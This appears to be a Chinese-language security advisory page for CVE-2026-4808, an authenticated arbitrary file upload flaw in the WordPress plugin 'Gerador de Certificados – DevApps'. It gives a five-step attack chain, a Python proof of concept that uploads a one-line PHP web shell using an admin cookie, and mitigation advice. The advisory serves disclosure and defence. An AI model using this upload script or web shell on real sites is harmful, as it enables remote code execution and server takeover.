CVE-2026-4808 CVSS 7.2 高危

CVE-2026-4808 WordPress插件任意文件上传漏洞

披露日期: 2026-04-08

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-4808

漏洞类型

任意文件上传

CVSS评分

7.2 高危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

Gerador de Certificados – DevApps (WordPress Plugin)

漏洞概述

WordPress插件Gerador de Certificates – DevApps在1.3.6及之前版本中存在高危漏洞。由于`moveUploadedFile()`函数缺少文件类型验证，经过身份验证的管理员级攻击者可上传任意文件。这可能导致服务器被控制及远程代码执行，CVSS评分为7.2。

技术细节

该漏洞位于WordPress插件“Gerador de Certificates – DevApps”的后台管理逻辑中。具体而言，`class-devapps-certificate-generator-admin.php`文件内的`moveUploadedFile()`函数在设计上存在缺陷，未对用户上传的文件进行严格的类型白名单校验和安全检查。在标准的WordPress开发规范中，处理文件上传应当使用内置的API以防止恶意文件上传，但该插件直接使用了不安全的处理方式。攻击者首先需要通过合法或非法手段获得网站管理员级别的账户权限。登录后台后，攻击者可以访问受影响的上传接口，构造特定的HTTP POST请求，将包含恶意PHP代码（如WebShell）的文件伪装或直接上传。由于缺乏验证，服务器会直接将该文件保存到网站的某个目录下。随后，攻击者只需在浏览器中访问该文件的URL，即可让Web服务器解析并执行其中的恶意代码，从而实现远程代码执行（RCE），完全控制服务器。

攻击链分析

STEP 1

步骤1：获取权限

攻击者通过钓鱼、暴力破解或其他漏洞获取WordPress网站管理员账号的登录凭证。

STEP 2

步骤2：访问功能点

使用管理员账号登录后台，导航至Gerador de Certificates插件的上传功能页面。

STEP 3

步骤3：构造恶意载荷

创建一个包含PHP后门代码的文件（如webshell），准备通过表单提交。

STEP 4

步骤4：上传文件

利用moveUploadedFile()函数缺乏验证的缺陷，发送HTTP POST请求上传恶意文件。

STEP 5

步骤5：执行代码

访问上传后的文件URL，触发服务器解析PHP代码，获取远程代码执行权限。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target configuration
target_url = "http://example.com/wp-admin/admin.php?page=devapps-certificate-generator"
upload_url = "http://example.com/wp-admin/admin-ajax.php"
admin_cookie = "wordpress_logged_in_xxx=...; wp-admin_session=..."

# Malicious PHP shell content
php_code = "<?php system($_GET['cmd']); ?>"

# Prepare the file payload
files = {
    'file': ('shell.php', php_code, 'application/x-php')
}

# Headers with authentication
headers = {
    'Cookie': admin_cookie
}

# Send the upload request
response = requests.post(upload_url, files=files, headers=headers)

if response.status_code == 200 and "success" in response.text:
    print("[+] File uploaded successfully!")
    print(f"[+] Access your shell at: http://example.com/wp-content/uploads/shell.php?cmd=whoami")
else:
    print("[-] Upload failed.")

影响范围

Gerador de Certificados – DevApps <= 1.3.6

防御指南

临时缓解措施

如果无法立即升级插件，建议暂时禁用该插件以阻断攻击路径。同时，应加强管理员账户的安全性，使用强密码并启用双因素认证。服务器管理员应检查Web服务器配置，确保即使文件上传成功也无法被执行。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表